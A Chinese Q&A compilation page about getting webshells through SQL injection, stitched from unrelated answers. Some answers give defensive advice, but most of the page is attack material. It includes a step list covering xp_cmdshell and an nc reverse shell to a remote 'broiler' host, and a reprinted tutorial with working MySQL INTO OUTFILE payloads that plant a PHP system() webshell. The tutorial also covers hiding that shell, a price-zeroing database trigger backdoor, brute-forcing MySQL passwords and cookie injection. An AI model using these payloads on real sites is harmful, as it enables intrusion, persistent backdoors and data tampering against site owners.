當前位置:首頁 » 編程語言 » sql怎麼注冊webshell
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

sql怎麼注冊webshell

發布時間: 2023-02-13 20:37:35

1. sql注入怎麼拿webshell

注意110。。。網警抓人

2. 請問MSSQL資料庫DB_OWNER許可權怎麼拿WEBSHELL

找到web的物理路徑,然後log備份一句話木馬上去,再連接一句話,傳大馬,搞定.web和資料庫分離,可以找出後台,暴管理密碼,登陸後台再拿shell..

3. 如何利用sql注入攻擊刪除文件

一、 SQL注入攻擊的簡單示例。
statement := "SELECT * FROM Users WHERE Value= " + a_variable + "
上面這條語句是很普通的一條SQL語句,他主要實現的功能就是讓用戶輸入一個員工編號然後查詢處這個員工的信息。但是若這條語句被不法攻擊者改裝過後,就可能成為破壞數據的黑手。如攻擊者在輸入變數的時候,輸入以下內容SA001』;drop table c_order--。那麼以上這條SQL語句在執行的時候就變為了SELECT * FROM Users WHERE Value= 『SA001』;drop table c_order--。
這條語句是什麼意思呢?『SA001』後面的分號表示一個查詢的結束和另一條語句的開始。c_order後面的雙連字元 指示當前行餘下的部分只是一個注釋,應該忽略。如果修改後的代碼語法正確,則伺服器將執行該代碼。系統在處理這條語句時,將首先執行查詢語句,查到用戶編號為SA001 的用戶信息。然後,數據將刪除表C_ORDER(如果沒有其他主鍵等相關約束,則刪除操作就會成功)。只要注入的SQL代碼語法正確,便無法採用編程方式來檢測篡改。因此,必須驗證所有用戶輸入,並仔細檢查在您所用的伺服器中執行構造 SQL命令的代碼。
二、 SQL注入攻擊原理。
可見SQL注入攻擊的危害性很大。在講解其防止辦法之前,資料庫管理員有必要先了解一下其攻擊的原理。這有利於管理員採取有針對性的防治措施。
SQL注入是目前比較常見的針對資料庫的一種攻擊方式。在這種攻擊方式中,攻擊者會將一些惡意代碼插入到字元串中。然後會通過各種手段將該字元串傳遞到SQLServer資料庫的實例中進行分析和執行。只要這個惡意代碼符合SQL語句的規則,則在代碼編譯與執行的時候,就不會被系統所發現。
SQL注入式攻擊的主要形式有兩種。一是直接將代碼插入到與SQL命令串聯在一起並使得其以執行的用戶輸入變數。上面筆者舉的例子就是採用了這種方法。由於其直接與SQL語句捆綁,故也被稱為直接注入式攻擊法。二是一種間接的攻擊方法,它將惡意代碼注入要在表中存儲或者作為原書據存儲的字元串。在存儲的字元串中會連接到一個動態的SQL命令中,以執行一些惡意的SQL代碼。
注入過程的工作方式是提前終止文本字元串,然後追加一個新的命令。如以直接注入式攻擊為例。就是在用戶輸入變數的時候,先用一個分號結束當前的語句。然後再插入一個惡意SQL語句即可。由於插入的命令可能在執行前追加其他字元串,因此攻擊者常常用注釋標記「—」來終止注入的字元串。執行時,系統會認為此後語句位注釋,故後續的文本將被忽略,不背編譯與執行。
三、 SQL注入式攻擊的防治。
既然SQL注入式攻擊的危害這么大,那麼該如何來防治呢?下面這些建議或許對資料庫管理員防治SQL注入式攻擊有一定的幫助。
1、 普通用戶與系統管理員用戶的許可權要有嚴格的區分。
如果一個普通用戶在使用查詢語句中嵌入另一個Drop Table語句,那麼是否允許執行呢?由於Drop語句關繫到資料庫的基本對象,故要操作這個語句用戶必須有相關的許可權。在許可權設計中,對於終端用戶,即應用軟體的使用者,沒有必要給他們資料庫對象的建立、刪除等許可權。那麼即使在他們使用SQL語句中帶有嵌入式的惡意代碼,由於其用戶許可權的限制,這些代碼也將無法被執行。故應用程序在設計的時候,最好把系統管理員的用戶與普通用戶區分開來。如此可以最大限度的減少注入式攻擊對資料庫帶來的危害。
2、 強迫使用參數化語句。
如果在編寫SQL語句的時候,用戶輸入的變數不是直接嵌入到SQL語句。而是通過參數來傳遞這個變數的話,那麼就可以有效的防治SQL注入式攻擊。也就是說,用戶的輸入絕對不能夠直接被嵌入到SQL語句中。與此相反,用戶的輸入的內容必須進行過濾,或者使用參數化的語句來傳遞用戶輸入的變數。參數化的語句使用參數而不是將用戶輸入變數嵌入到SQL語句中。採用這種措施,可以杜絕大部分的SQL注入式攻擊。不過可惜的是,現在支持參數化語句的資料庫引擎並不多。不過資料庫工程師在開發產品的時候要盡量採用參數化語句。
3、 加強對用戶輸入的驗證。
總體來說,防治SQL注入式攻擊可以採用兩種方法,一是加強對用戶輸入內容的檢查與驗證;二是強迫使用參數化語句來傳遞用戶輸入的內容。在SQLServer資料庫中,有比較多的用戶輸入內容驗證工具,可以幫助管理員來對付SQL注入式攻擊。測試字元串變數的內容,只接受所需的值。拒絕包含二進制數據、轉義序列和注釋字元的輸入內容。這有助於防止腳本注入,防止某些緩沖區溢出攻擊。測試用戶輸入內容的大小和數據類型,強制執行適當的限制與轉換。這即有助於防止有意造成的緩沖區溢出,對於防治注入式攻擊有比較明顯的效果。
如可以使用存儲過程來驗證用戶的輸入。利用存儲過程可以實現對用戶輸入變數的過濾,如拒絕一些特殊的符號。如以上那個惡意代碼中,只要存儲過程把那個分號過濾掉,那麼這個惡意代碼也就沒有用武之地了。在執行SQL語句之前,可以通過資料庫的存儲過程,來拒絕接納一些特殊的符號。在不影響資料庫應用的前提下,應該讓資料庫拒絕包含以下字元的輸入。如分號分隔符,它是SQL注入式攻擊的主要幫凶。如注釋分隔符。注釋只有在數據設計的時候用的到。一般用戶的查詢語句中沒有必要注釋的內容,故可以直接把他拒絕掉,通常情況下這么做不會發生意外損失。把以上這些特殊符號拒絕掉,那麼即使在SQL語句中嵌入了惡意代碼,他們也將毫無作為。
故始終通過測試類型、長度、格式和范圍來驗證用戶輸入,過濾用戶輸入的內容。這是防止SQL注入式攻擊的常見並且行之有效的措施。
4、 多多使用SQL Server資料庫自帶的安全參數。
為了減少注入式攻擊對於SQL Server資料庫的不良影響,在SQLServer資料庫專門設計了相對安全的SQL參數。在資料庫設計過程中,工程師要盡量採用這些參數來杜絕惡意的SQL注入式攻擊。
如在SQL Server資料庫中提供了Parameters集合。這個集合提供了類型檢查和長度驗證的功能。如果管理員採用了Parameters這個集合的話,則用戶輸入的內容將被視為字元值而不是可執行代碼。即使用戶輸入的內容中含有可執行代碼,則資料庫也會過濾掉。因為此時資料庫只把它當作普通的字元來處理。使用Parameters集合的另外一個優點是可以強制執行類型和長度檢查,范圍以外的值將觸發異常。如果用戶輸入的值不符合指定的類型與長度約束,就會發生異常,並報告給管理員。如上面這個案例中,如果員工編號定義的數據類型為字元串型,長度為10個字元。而用戶輸入的內容雖然也是字元類型的數據,但是其長度達到了20個字元。則此時就會引發異常,因為用戶輸入的內容長度超過了資料庫欄位長度的限制。
5、 多層環境如何防治SQL注入式攻擊?
在多層應用環境中,用戶輸入的所有數據都應該在驗證之後才能被允許進入到可信區域。未通過驗證過程的數據應被資料庫拒絕,並向上一層返回一個錯誤信息。實現多層驗證。對無目的的惡意用戶採取的預防措施,對堅定的攻擊者可能無效。更好的做法是在用戶界面和所有跨信任邊界的後續點上驗證輸入。如在客戶端應用程序中驗證數據可以防止簡單的腳本注入。但是,如果下一層認為其輸入已通過驗證,則任何可以繞過客戶端的惡意用戶就可以不受限制地訪問系統。故對於多層應用環境,在防止注入式攻擊的時候,需要各層一起努力,在客戶端與資料庫端都要採用相應的措施來防治SQL語句的注入式攻擊。
6、 必要的情況下使用專業的漏洞掃描工具來尋找可能被攻擊的點。
使用專業的漏洞掃描工具,可以幫助管理員來尋找可能被SQL注入式攻擊的點。不過漏洞掃描工具只能發現攻擊點,而不能夠主動起到防禦SQL注入攻擊的作用。當然這個工具也經常被攻擊者拿來使用。如攻擊者可以利用這個工具自動搜索攻擊目標並實施攻擊。為此在必要的情況下,企業應當投資於一些專業的漏洞掃描工具。一個完善的漏洞掃描程序不同於網路掃描程序,它專門查找資料庫中的SQL注入式漏洞。最新的漏洞掃描程序可以查找最新發現的漏洞。所以憑借專業的工具,可以幫助管理員發現SQL注入式漏洞,並提醒管理員採取積極的措施來預防SQL注入式攻擊。如果攻擊者能夠發現的SQL注入式漏洞資料庫管理員都發現了並採取了積極的措施堵住漏洞,那麼攻擊者也就無從下手了。

如何防範黑客入侵網站的幾種常見安全方法
• 本文的目的是告訴企業在建網站時如何打造一個防範黑客攻擊的安全網站
• 互聯網隨著時間的發展,它的優勢越來越來明顯,世界越來越多的企業通過這二十四小時不間斷的傳波平台,打造自己公司的網站,開展電子商務活動;由於互聯網的特殊性和復雜性,一旦你企業的網站接入互聯網後,你的企業網站便為一個公眾場所,任何人都可以上你的企業網站瀏覽信息,任何人(比如:黑客)都有可能對你的企業網站進行技術上測試,查找你的企業網站在程序設計上的漏洞,不論他目的是惡意還其它原因,你都無法制止他的行為,因為黑客在遠程電腦上實施操作。
• 建設一個有安全系數保證的網站,關系著一個企業的商業信譽問題,面臨日夜猖狂、日益肆虐的網路攻擊事件不斷發生,給自己的網站做一些最基本的安全防範措施是非常必要的。
• 非法字元過濾和轉換
• 黑客攻擊網站之前,先採用探路方式,通過網站的留言、論壇、搜索等系統,注入可執行的web腳本代碼和SQL語法,來達到入侵網站的目的;對網站所有互動式介面的文本輸入框(如:網站留言系統、BBS系統、blog系統、搜索系統、登陸系統等)的地方採取在客戶端非法字元過濾和轉換技術,通過非法字元過濾和轉換將可執行的惡意代碼變為可讀HTML代碼,使它基本失去了暴破網站的威力,又起到了保護網站程序源代碼不受破壞的作用。
• 建一個指定自定義出錯(Error)的信息頁面
• 好處在於防止網站設計源代碼的溢出,黑客在入侵網站的後台管理系統,往往在網頁地址欄輸入可執行的SQL語法和根據程序員為網頁命名的習慣輸入網址的文件名,一旦黑客採用這種方式,就會將黑客帶向指定自定義出錯(Error)的信息頁面。

• 拒絕Cookie驗證方式
• Cookie的好處在於管理員和注冊用戶登陸網站時Cookie會保存登陸信息,下次再登陸時Cookie會自動將這些信息保留在登陸的頁面輸入文本框中,其作用是為了方便登陸者,但也給黑客採集Cookie的信息提供了良機,所以應該拒絕採用客戶端Cookie驗證登陸方式,而改用通過伺服器驗證方式登陸並對賬號和密碼採用單向加密方式保存。
• 不要用自助建網站系統建你的企業網站
• 一些網站設計公司為了增加銷量降低成本(其實大部分客戶喜歡購買廉價的自助建網站系統),開發不同用途的自助建網站系統(如:網站內容管理、BBS、新聞發布、留言、博客等),同時為了爭奪市場、擴大產品知名度,往往兩種方式銷售產品:個人版可以免費下載;商業版則需要購買;其實兩個版本的網站在是同一種程序技術基礎開發出來的,商業版是授權驗證後可作商業用途,有技術支持和維護保證;黑客通過下載個人版,來潛心深研這些自助建網站系統的開放源代碼,從中找出程序漏洞,一旦發現了可攻擊的程序漏洞,通過搜索引擎平台檢索出同一型號版本自建網站系統,然後就發起攻擊;解決方式找有自主能力開發網站公司設計你的企業網站,通過將網站的設計源代碼封裝成「.dll」組件,這樣即保證網站設計上的安全性又保護了源代碼,又提高了網站的安全系數同時也降低了網站被入侵的危害程度,因為黑客攻陷網站往往是從研究網站源代碼開始並中找出程序漏洞。
• 解決Googel「暴庫」問題
• 一些程序員在開發網站喜歡用虛擬路徑方法調用資料庫,這就必須將資料庫保存在開通WWW服務的文件夾下,自然逃不過狡猾黑客的眼睛,一旦黑客破解了資料庫的真實保存位置,便可以從瀏覽器的地址欄打開和下載該資料庫,對網站的後果是非常危險的;要想確保你網站的資料庫不被黑客下載,只要採取將資料庫保存在非WWW服務的文件夾下,通過物理(真實)路徑方法調用資料庫,就可完全防止黑客下載你企業網站的資料庫。

• 建立robots文件
• 為了防止網站的重要文件夾(如:後台管理)和文件(如:純程序文件)不被搜索引擎所收錄,首先在網站根目錄下建一個「robots.txt」純文本文件,來防止網站的重要文件或其它敏感信息被搜索引擎所收錄;最大多搜索引擎平台都遵守robots協議;搜索引擎機器人訪問網站時,首先找到網站根目錄下robots文件,然後會讀取robots文件的內容,來確定它對網站收錄的范圍;robots文件可以說是對搜索引擎機器人收錄許可權的限制管理,從而避免將網站的重要文件或其它敏感信息暴露在網路上,在網站安全上起一個防禦鎖作用,robots文件可由網站設計者在遵守robots協議下,根據網站的實際情況自由編寫。
• 完全將杜絕黑客的攻擊和入侵是不可能的,完全在網站的每個介面過濾和轉換非法字元串是辦不到,比如,在文件上傳時,狡猾黑客會採取躲過過濾和轉換非法字元串的辦法,將可執行惡意腳本代碼保存「.gif」格式或「.jpg」格式來實施文件上傳漏洞攻擊,解決的方法是對所有上傳的文件先導入到「.txt」純文本文件讀一遍,判斷是否是可執行惡意腳本代碼,如果是就刪除,但是網站管理員要有web程序基礎;黑客入侵網站的方式變化多端,幾千種免費暴破網站的軟體,使你企業網站防不勝防,但是以上介紹幾種防禦措施對菜鳥黑客是可行的,對於一些資深黑客,他也要費一些精力和時間來暴破你企業網站,他會考慮值不值得?畢竟你的網站只是一個企業網站,不是銀行和證券交涉現金交易的網站(它們的程序設計安全系數更高),在大多數下情況,「大俠」黑客不會光顧你企業網站。

1、SQL注入漏洞的入侵
這種是ASP+ACCESS的網站入侵方式,通過注入點列出資料庫裡面管理員的帳號和密碼信息,然後猜解出網站的後台地址,然後用帳號和密碼登錄進去找到文件上傳的地方,把ASP木馬上傳上去,獲得一個網站的WEBSHELL。這個是黑鏈使用的前一部分,應該比較常用吧。現在網上賣webshell的太多了。
2、ASP上傳漏洞的利用
這種技術方式是利用一些網站的ASP上傳功能來上傳ASP木馬的一種入侵方式,不少網站都限制了上傳文件的類型,一般來說ASP為後綴的文件都不允許上傳,但是這種限制是可以被黑客突破的,黑客可以採取COOKIE欺騙的方式來上傳ASP木馬,獲得網站的WEBSHELL許可權。
3、後台資料庫備份方式獲得WEBSHELL
這個主要是利用網站後台對ACCESS資料庫進行資料庫備份和恢復的功能,備份資料庫路徑等變數沒有過濾導致可以把任何文件的後綴改成ASP,那麼利用網站上傳的功能上傳一個文件名改成JPG或者GIF後綴的ASP木馬,然後用這個恢復庫備份和恢復的功能把這個木馬恢復成ASP文件,從而達到能夠獲取網站WEBSHELL控制許可權的目的。
4、網站旁註入侵
這種技術是通過IP綁定域名查詢的功能查出伺服器上有多少網站,然後通過一些薄弱的網站實施入侵,拿到許可權之後轉而控制伺服器的其它網站。
下面這幾種我就聽不懂了,不過有點高技術的站長會看懂的。
5、sa注入點利用的入侵技術
這種是ASP+MSSQL網站的入侵方式,找到有SA許可權的SQL注入點,然後用SQL資料庫的XP_CMDSHELL的存儲擴展來運行系統命令建立系統級別的帳號,然後通過3389登錄進去,或者在一台肉雞上用NC開設一個監聽埠,然後用VBS一句話木馬下載一個NC到伺服器裡面,接著運行NC的反向連接命令,讓伺服器反向連接到遠程肉雞上,這樣遠程肉雞就有了一個遠程的系統管理員級別的控制許可權。
6、sa弱密碼的入侵技術
這種方式是用掃描器探測SQL的帳號和密碼信息的方式拿到SA的密碼,然後用SQLEXEC之類的工具通過1433埠連接到遠程伺服器上,然後開設系統帳號,通過3389登錄。然後這種入侵方式還可以配合WEBSHELL來使用,一般的ASP+MSSQL 網站通常會把MSSQL的連接密碼寫到一個配置文件當中,這個可以用WEBSHELL來讀取配置文件裡面的SA密碼,然後可以上傳一個SQL木馬的方式來獲取系統的控制許可權。
7、提交一句話木馬的入侵方式
這種技術方式是對一些資料庫地址被改成asp文件的網站來實施入侵的。黑客通過網站的留言版,論壇系統等功能提交一句話木馬到資料庫裡面,然後在木馬客戶端裡面輸入這個網站的資料庫地址並提交,就可以把一個ASP木馬寫入到網站裡面,獲取網站的WEBSHELL許可權。
8、論壇漏洞利用入侵方式
這種技術是利用一些論壇存在的安全漏洞來上傳ASP木馬獲得WEBSHELL許可權,最典型的就是,動網6.0版本,7.0版本都存在安全漏洞,拿7.0版本來說,注冊一個正常的用戶,然後用抓包工具抓取用戶提交一個ASP文件的COOKIE,然後用明小子之類的軟體採取COOKIE欺騙的上傳方式就可以上傳一個ASP木馬,獲得網站的WEBSHELL。

4. 問一下,最近怎麼才能SQL注入和拿到webshell我是小白,順便問理解這些都需要哪些知識或者看哪些書

人家網站當然都要防止被黑,這么想黑,自己去寫個漏洞網站自己黑自己的吧,還有,相當黑客,學好黑客的道德守則了嗎?到處討論

5. 如何通過SQL注入來提取webshell 拋磚引玉!

你不明白啥叫注入。當然是自己發現哪個框沒加過濾咯,或許直接請求加上各種參數試一試。
試的方法很多舉個例子後面加1=1。一般資料庫都關閉了sql執行cmd你得先提權,然後才能開啟sql執行任何cmd。

6. SQL注入點拿到了後怎麼拿webshell求

你都拿到許可權了,只然就可以操作啦!

7. 如何利用SQL注入製造一個後門

如何利用SQL注入製造一個後門

0×01,介紹…

0×02,什麼是Sql Injection..

0×03,一個系統後門(OS)Backdoor.

0×04,獲得一個OS Shell

0×05,一個資料庫後門(Database backdoor).

0×07,推薦的防禦措施…

0×08,結論…

0×09,參考…

0×01,介紹
如果你正在讀這篇文章那麼我有理由相信你曾經聽說過一種病毒,或者是它一種特洛伊木馬或者蠕蟲,這類惡意程序可以感染你的計算機系統。一旦你的計算機系統被感染,那麼當你使被感染的計算機連接到互聯網,它很可能會去感染其他的計算機。許多時候,惡意軟體不僅僅只是從一台計算機傳播到另一台,他們會針對每一台感染的計算機進行自身的變異。這些變化將會讓病毒遠程的控制每一台計算機並使它們在之後感染更多的計算機系統。這些病毒第一次執行時會復制一個小型的可執行文件到用戶的磁碟上,這個可執行文件僅僅會監聽在當前計算機系統未使用的埠上從而惡意軟體可以在被感染主機連入互聯網的任意時刻訪問這台主機。這個小的可執行文件叫做後門(Backdoor)。我在這里已經簡要的說明了後門的概念。

0×02,什麼是Sql Injection
已經有超過1百萬的文章講述了什麼是Sql注入並且怎樣去發現和怎樣去避免這類威脅,所以我不想再次重復。如果你需要了解一些關於Sql注入的背景知識,這里有一個介紹性文章的連接可以供你閱讀。這篇文章末尾我也提供了一些參考資料可以讓你針對這篇文章所討論的話題獲得更多的知識信息。

0×03,一個系統後門(OS)Backdoor
這篇文章的目的是利用Sql Injection執行各種各樣的命令最終控制操作系統。為了運行系統命令,我們需要一個CMD shell,或者需要執行一些代碼使得我們可以執行OS命令。讓我們分別嘗試一下這兩種方法。

0×04,獲得一個OS Shell
現在我們將寫我們自己的代碼使之可以讓我們運行任意OS命令來控制操作系統。所以,從之前的文章中我們已經知道搜索部分的變數存在Sql Injection並且在question表中存在4個列名。作為提示,語句Harry Potter』 union select 1,2,3,4#將會出現錯誤:

現在,我們想插入可以執行系統命令的PHP代碼。為了實現這個目的,我們使用MYsql提供的INTO OUTFILE特性。使用Using INTO OUTFILE,可以將查詢的輸出重定向到系統的文件中去。真因為如此,我們可以執行Harry Potter』 union select 『TEXT INTO FILE』,2,3 INTO OUTFILE 『/tmp/blah.txt』#,然後字元串『TEXT INTO FILE』將會被存儲在目錄/tmp下的blah.txt中。如圖:

現在我們將 『TEXT INTO FILE』替換成基本的PHP代碼使之可以讀取URL的參數來執行系統命令控制操作系統。我們使用這樣的語句: Harry Potter』 union select 「<?system($_REQUEST['cmd']); ?>」,2,3 INTO OUTFILE 『/var/www/test/execcmd.php』# ,如圖:

就是這樣!但是還出現了很多我們根本不關心的書籍的內容。所以我調整了我的查詢語句為:

『 union select 「<? system($_REQUEST['cmd']); ?>」,2,3 INTO OUTFILE 『/var/www/test/execcmd.php』#並再次執行。

盡管這回還是返回了2和3,但是好多了。

現在我們訪問execcmd.php並把命令[cat /etc.passwd]傳遞給我們想提交執行的參數。

成功了。通過我多次的嘗試,這里有幾點需要注意的事情。

–運行這條語句的資料庫用戶需要擁有FILE許可權,否則不能執行INTO OUTFILE命令。

–在MySQL服務運行的主機中必須存在一個可寫的Web目錄,否則你不能訪問你剛剛上傳的Webshell。你可以將代碼寫入到總是可寫的目錄像/ttmp,但是你沒有許可權訪問它。

一種簡單的方式來實現OS Shell是使用SQLMap內置的特性。如果你讀過我之前的文章,你會記得我使用過SQLMap。讓我們通過SQLMap來完成同樣的事情。

下面的OS shell截圖是在使用SQLMap進行注入時加入了一個簡單的參數並且在提示處選擇了PHP Web Shell而獲得的。

運行一個命令來檢查我們是否已經獲得了一個Shell。OK,沒問題。

這實在是太容易了。

不幸的是,從『破壞者』的角度來看這也同樣是簡單的。

現在有了這么簡單快捷的方法你肯定不想再用之前的方法了,但是知道手動利用的方法總是有幫助的(這樣當使用工具失敗時你可以有另外的方法)。還有一件事需要注意,難獲得了一

個WebShell時,請使用一個和Web目錄中已經存在的文件十分相似的名字去命名。這會幫助你隱藏你的WebShell使之不會被管理員不經意間輕易的發現。

在開始下一類Backdoor之前,我將向你展示隱藏SQLMap的方法。你可以通過設置代理來運行SQLMap。

然後當SQLMap將實際的WebShell上傳到可寫目錄的時候,brupSuite會攔截到一些請求,讓我們看一下這些請求。

我們能看到一些熟悉的東西。讓我們通過URL decode來確定一下。看一下在底部面板的藍色高亮的部分。它顯示出SQLMap正在使用INTO OUTFILE命令,和我們之前人工使用的方法是一樣的。

最後,我們看一下SQLMap上傳WebShell的內容,非常有意思,看一下底部的面板。

這就是關鍵,工具再一次的大大簡化了我們本該花費大量時間進行的繁瑣工作。

0×05,一個資料庫後門(Database backdoor)
現在我們知道一個OS後門可以在Web應用存在SQL Injection時被植入到系統中。現在讓我們看看如何在資料庫中植入一個後門吧。在我們繼續之前,我們需要一些了解一下backdoor function的相關知識。在OS backdoor中,我們直接訪問了後門並且傳遞給它了一個命令;但在這里卻並不會那麼直接。當我們每一個插入的操作執行時,我們配置的後門會改變資料庫中一些敏感數據的值。所以,每一本書在添加到資料庫中時價格會被我們的後門設置成0,以至於人們可以免費「購買」這些書籍。這在真實的環境中可能會很快被發現。

所以我們在資料庫中有一些叫做「觸發器」的東西,基本的意思就是——「當某些我們希望發生的事情發生時,觸動觸發器去做另外一些事情」。這描述的確實太模糊了,然我們舉一個更明顯的例子。假如你是一個警察,某一時刻你看到一個連環殺手,你扣動扳機並且發射出一枚子彈對么?那麼把他轉換為我們之前的場景——有一個INSERT語句(殺手),一個Database trigger(槍手)開火了,那麼動作(action)就是釋放你之前已經配置(configured)好的子彈(bullet)。

下面使我們要寫的一個MySQL觸發器的例子:

delimiter #

CREATE TRIGGER price BEFORE INSERT ON books

for each row begin

set new.price=』0′;

end;#

delimiter ;
b)無論任何時候如果我們執行一個Insert語句,比如假如一本書,那麼我們設置其價格為0.下面是它的意思:

a)設置默認的MySQL分隔符為』#',因為默認的分隔符是』;'在MySQL作為特殊字元處理了,而我們需要將其作為數據處理。所以我們改變分隔符為』#',表示』#'現在有一個特殊的含義。

c)終止觸發器並將分隔符重置為』;'。

然我們使用Sql Injection將觸發器復制到伺服器上。下面是要作為搜索框輸入的語句:

Harry Potter』 AND 1=0 union select 0×20,0×20,0×20 INTO OUTFILE 『/var/www/test/g2′ LINES TERMINATED BY 6d69746572203b#

我會快速解釋一下這個查詢語句—因為即使看起來它很復雜—其實不然。我們使用1=0因為我們對關於《Harry Potter》的查詢結果並不感興趣。0×20的位置只是查詢了三次空格』space』;這是為了我可以僅僅得到想要重定向到文件』/var/www/test.g2′中的內容。然後LINES TERMINATED BY後面的部分是整個觸發器使用hex函數轉換後的形式(我是用的是Brup Decoder,不要坐在那兒浪費時間去手工轉化它)。

讓我們運行一下看看會在文件/var/www/test/g2中出現什麼。

你注意到了最開始的幾個空格了么?這就是我們之前看到的select 0×20,0×20,0×20的作用。之後的內容就顯而易見了。

現在我們以某種方式執行這個查詢然後我們的觸發器會在每次一本書被插入時激活,這里有三種實現的方法。

a)多語句查詢(Stacked Queries)—Harry Potter』 UNION blah blah blah;source /var/www/test/g2但是這事實上不會成功執行,因為PHP+MySQL不支持多語句查詢。

b)濫用MySQL默認觸發器行為(Abusing MySQL default trigger behavior)—這種方法我還沒有測試過,不過在Stefano Di Paola的文章中被描述的非常清楚。嘗試一下吧,我找時間也會測試一下。

c)使用SQL Injection工具比如SQLMap運行我們存放在/var/www/test/g2中保存的觸發器。這是我們將要測試的方法。

我們來再次運行SQLMap並獲得一個我們可以運行觸發器的SQL shell。

看最後一行。不幸的是,只有當支持多語句查詢時,這種方法才可以執行。這意味著上面的選項a,c意味著同一種情況。讓我們通過代理來查看SQLMap的請求。

讓我們在Sql-shell中執行一個簡單的創建新資料庫的語句—」create database boo;」並在Brup中查看。

我們可以看到,SQLMap嘗試將它轉換為一個SELECT查詢。這將永遠不會執行成功。從Burp相應的內容證實了這一點。

我能想到的唯一一種能夠順序執行我們的查詢的可行辦法包含以下幾個步驟:

—猜解一個有效MySQL用戶的密碼。例如,你猜到root的密碼是test123

—注入一個OS webshell後門。

—注入一個類似之前格式的觸發器。

—現在通過在Webshell中運行MySQL命令來安裝觸發器。

我有幾張截圖來說明為什麼這樣是可行的。為了照顧初學者,這里有張截圖表名當前不存在任何觸發器。

假設我們已經猜解到了用戶名和密碼root和toor(通過Blind SQL暴力猜解mysql.user表)。現在我們反問Web shell並傳遞一個命令:

mysql -u<USERNAME> -p<PASSWORD> <DB NAME> < /var/www/test/g2

現在我們再來看一下資料庫。

看到了我們的觸發器。

現在我們來運行一個INSERT查詢來檢查我們的觸發器是否會運行。然後所有Jeffrey Archer的書的價格會變得非常不可思議。

現在執行查詢:

看最後一行。某些人可以不用支付他本認為應該支付的價格了。

現在我們直接執行一個INSERT查詢來控制資料庫。在真實環境中將會有一個表單來添加書籍,在後端很可能會有一個INSERT查詢,這時觸發器很有可能被觸發執行。這是我沒有創建另外一個表單的唯一原因。

明顯地,一個大前提是我們能夠猜解資料庫的用戶名和密碼。下面有一個簡單的思路可以讓你實現這個目的。

—想一些常用的資料庫用戶名(比如MySQL的root)或者通過社會工程學獲得一些。

—MySQL密碼是通過哈希加密的,並不是明文。

你可以通過以下兩種方式破解密碼:

—通過SQL Injection將密碼的Hash與密碼明文列表對比。(參考我之前的文章)

—在WebShell中通過密碼明文列表和一個特定的用戶名來運行觸發器。你可以寫一個Perl或者Ruby腳本來為你做這些事情。嘗試在遍歷完明文密碼列表之後插入一本書,或者在每次猜解後找出那個密碼是正確的。

mysql -uroot -ptoor blindsql_test< /var/www/test/g2

mysql -uroot -proot blindsql_test< /var/www/test/g2

mysql -uroot -ptest blindsql_test< /var/www/test/g2

mysql -uroot -ppassword blindsql_test< /var/www/test/g2

0×07,推薦的防禦措施
a)使用參數化查詢來防禦SQL注入攻擊。

b)不要在Web目錄中存在大量可寫目錄。

c)限制Web應用在後端查詢資料庫的用戶的許可權。為了實現這一點,不要給其分配FILE許可權。

d)設置復雜的資料庫密碼和健壯的密碼策略。

0×08,結論
這個問題的根源,是Web應用存在Sql注入弱點。修復它將會阻止這種威脅的發生。然而,知道不同的植入後門的方法還是有益的。許多惡意軟體將會通過這種方式傳播;也需要採取措施來防止它們。

出自:http://www.freebuf.com/articles/222.html

8. sql注入怎麼獲取webshell

獲得webshell方法如下:
1.尋找形如「.asp?id=xx」類的帶參數的URL。
2.去掉「id=xx」查看頁面顯示是否正常,如果不正常,說明參數在數據傳遞中是直接起作用的。
3.清空瀏覽器地址欄,輸入「javascript:alert(document.cookie="id="+escape("xx"));」,按Enter鍵後彈出一個對話框,內容是「id=xx」,然後用原來的URL刷新頁面,如果顯示正常,說明應用是用Request("id")這種方式獲取數據的。
4.重復上面的步驟,將常規SQL注入中的判斷語句帶入上面的URL:「javascript:alert(document.cookie="id="+escape("xx and 1=1"));」
「javascript:alert(document.cookie="id="+escape("xx and 1=2"));」。